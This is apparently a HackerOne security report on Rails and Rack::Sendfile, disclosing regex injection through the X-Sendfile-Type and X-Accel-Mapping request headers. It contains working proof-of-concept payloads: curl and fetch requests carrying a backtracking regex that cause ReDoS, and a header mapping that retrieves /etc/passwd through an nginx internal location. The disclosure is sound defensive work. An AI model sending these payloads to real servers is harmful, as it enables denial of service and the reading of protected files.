Ruby on Rails · Report #1057216
Regex Injection from request header (Rack::Sendfile, send_file)
How it was found
I have confirmed that Rack::Sendfile and the Rails send_file that handles it have a problem handling custom headers for request.
It is expected that the X-Sendfile-type and X-Accel-Mapping headers will be sent from nginx, but these headers can also be sent from a user agent such as a browser. This allows Regexp injection to cause unexpected regular expression behavior.
https://github.com/rack/rack/blob/v2.2.2/lib/rack/sendfile.rb#L143
def variation(env)
@variation ||
env['sendfile.type'] ||
env['HTTP_X_SENDFILE_TYPE']
end
def map_accel_path(env, path)
if mapping = @mappings.find { |internal, _| internal =~ path }
path.sub(*mapping)
elsif mapping = env['HTTP_X_ACCEL_MAPPING']
mapping.split(',').map(&:strip).each do |m|
internal, external = m.split('=', 2).map(&:strip)
new_path = path.sub(/^#{internal}/i, external)
return new_path unless path == new_path
end
path
end
end
If not set on the application side, the value used for internal can be sent from the request header.
This problem seems to be a problem on the Rack side, but since it has a large impact on Rails and a vulnerability in Rack has been reported to Rails in the past(https://hackerone.com/reports/431561, https://hackerone.com/reports/895727), I will submit it here.
Case 1. ReDoS via Regex Injection
Example of rails controller.
class FilesController < ApplicationController
def index
send_file("./README.md")
end
end
Or a simple example of rack app.
class SendFile
def call(env)
[ 200,
{ },
File.open("./config.ru")
]
end
end
use Rack::Sendfile
run SendFile.new
An example of a curl attack on these servers.
curl -i -H 'X-Sendfile-type:X-Accel-Redirect' -H 'X-Accel-Mapping:(([^\r])+.)+[^\r]([\r])+=/www/' http://localhost:3000/files
ReDoS is possible because the value of X-Accel-Mapping is used for the regular expression.
Executing the curl code will increase the CPU usage on the server side.In puma, the server becomes unresponsive when requests are made for the number of wokrers. When I try to start puma threads as 5 on my local machine, running curl 5 times makes the server unresponsive!
$ time ruby -e 'puts ("a"*32).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
0.23s user 0.04s system 56% cpu 0.479 total
$ time ruby -e 'puts ("a"*40).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
8.03s user 0.04s system 97% cpu 8.242 total
$ time ruby -e 'puts ("a"*44).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
55.92s user 0.16s system 99% cpu 56.370 total
How long it actually takes depends on the depth of the path where the server is located. It is also possible to send a more dangerous regular expression than the example.
From javascript it will be as follows.
fetch("http://localhost:3000/file", {headers: {"X-Sendfile-type":"X-Accel-Redirect", "X-Accel-Mapping":"(([^\\r])+.)+[^\\r]([\\r])+=/www/"}})
Case 2. Unexpected access to internal
Example nginx.conf.
events {
worker_connections 16;
}
http {
server {
listen 80;
server_name localhost;
location /rails {
proxy_pass http://rails_app/;
proxy_redirect off;
}
location /secret_internal {
internal;
alias /etc/passwd;
}
}
}
curl -i -H 'X-Sendfile-type:X-Accel-Redirect' -H 'X-Accel-Mapping:/.*=/secret_internal' http://localhost:80/rails/files
You can get /etc/passwd, a file that should not be accessible.
Impact
Affects various Rails applications that use send_file with Rack 1.1.0 and later versions.
This can be confirmed by requesting a location that handles file downloads, so if this vulnerability information is disclosed, it may be tried in many locations. It is difficult to guess where case2 will occur, but case1 is simple. Especially in OSS, the attacker can easily check because the place of use is known.
The following patterns are affected.
-
Applications that do not set a value for
x_sendfile_header. If setconfig.action_dispatch.x_sendfile_header = '', it will be workaround. -
Using X-Accel-Redirect, but X-Accel-Mapping is not set. It becomes workaround by adding X-Accel-Mapping to all proxy settings of nginx.
I think it's safe to stop using custom headers for requests in Rack. But it's a breaking change.